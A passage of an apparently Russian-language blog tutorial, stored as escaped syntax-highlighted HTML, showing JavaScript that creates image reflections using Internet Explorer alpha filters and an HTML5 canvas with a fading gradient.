&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;filter&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'fliph progid:DXImageTransform.Microsoft.Alpha(opacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_start&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', style=1, finishOpacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_end&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', startx=0, starty=0, finishx='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;ratio&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', finishy=0)'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; container.&lt;span class="me1"&gt;appendChild&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;reflection&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;В случае с IE всё просто и сводится к заданию соответствующих фильтров. С браузерами, поддерживающими HTML&amp;nbsp;5, всё гораздо сложнее (ad deliberandum: сколько строк занимает программа на C++, если она использует COM-технологию?)&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35640"&gt;
        &lt;div class="code javascript" id="p356code40"&gt;
&lt;span class="coMULTI"&gt;/**&lt;br /&gt;
&amp;nbsp;* @param container &amp;lt;div id=&amp;quot;container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param image &amp;lt;img id=&amp;quot;image&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param ratio Коэффициент сжатия/растягивания отражения&lt;br /&gt;
&amp;nbsp;* @param opacity_start Начальная (ближняя к отражаемому изображению) непрозрачность &lt;br /&gt;
&amp;nbsp;* @param opacity_end Конечная непрозрачность&lt;br /&gt;
&amp;nbsp;* @param horizontal 0 = вертикальное отражение, 1 = горизонтальное отражение&lt;br /&gt;
&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw2"&gt;function&lt;/span&gt; reflect_image&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;container&lt;span class="sy0"&gt;,&lt;/span&gt; image&lt;span class="sy0"&gt;,&lt;/span&gt; ratio&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_start&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_end&lt;span class="sy0"&gt;,&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; reflection &lt;span class="sy0"&gt;=&lt;/span&gt; document.&lt;span class="me1"&gt;createElement&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'canvas'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; context &amp;nbsp; &lt;span class="sy0"&gt;=&lt;/span&gt; reflection.&lt;span class="me1"&gt;getContext&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'2d'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;height&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;width&lt;/span&gt; &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;height&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;width&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;//Подводный камень: на canvas нельзя рисовать, если она не в DOM-дереве документа&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; container.&lt;span class="me1"&gt;appendChild&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;reflection&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;save&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; gradient;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0 &lt;span class="sy0"&gt;==&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём точку отсчёта, отражаем ось y и создаём вертикальный градиент&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;translate&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;scale&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="sy0"&gt;-&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gradient &lt;span class="sy0"&gt;=&lt;/span&gt; context.&lt;span class="me1"&gt;createLinearGradient&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;else&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём точку отсчёта, отражаем ось x и создаём горизонтальный градиент&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;translate&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;scale&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="sy0"&gt;-&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gradient &lt;span class="sy0"&gt;=&lt;/span&gt; context.&lt;span class="me1"&gt;createLinearGradient&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Рисуем исходное изображение (оно будет отражено по одной из осей)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;drawImage&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;image&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;restore&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём режим операции&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;globalCompositeOperation&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;destination-out&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Параметры градинтной заливки (в параметрах передаётся НЕпрозрачность, нам нужна прозрачность)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; gradient.&lt;span class="me1"&gt;addColorStop&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;rgba(255, 255, 255, &amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt; &lt;span class="sy0"&gt;-&lt;/span&gt; opacity_end&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; gradient.&lt;span class="me1"&gt;addColorStop&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt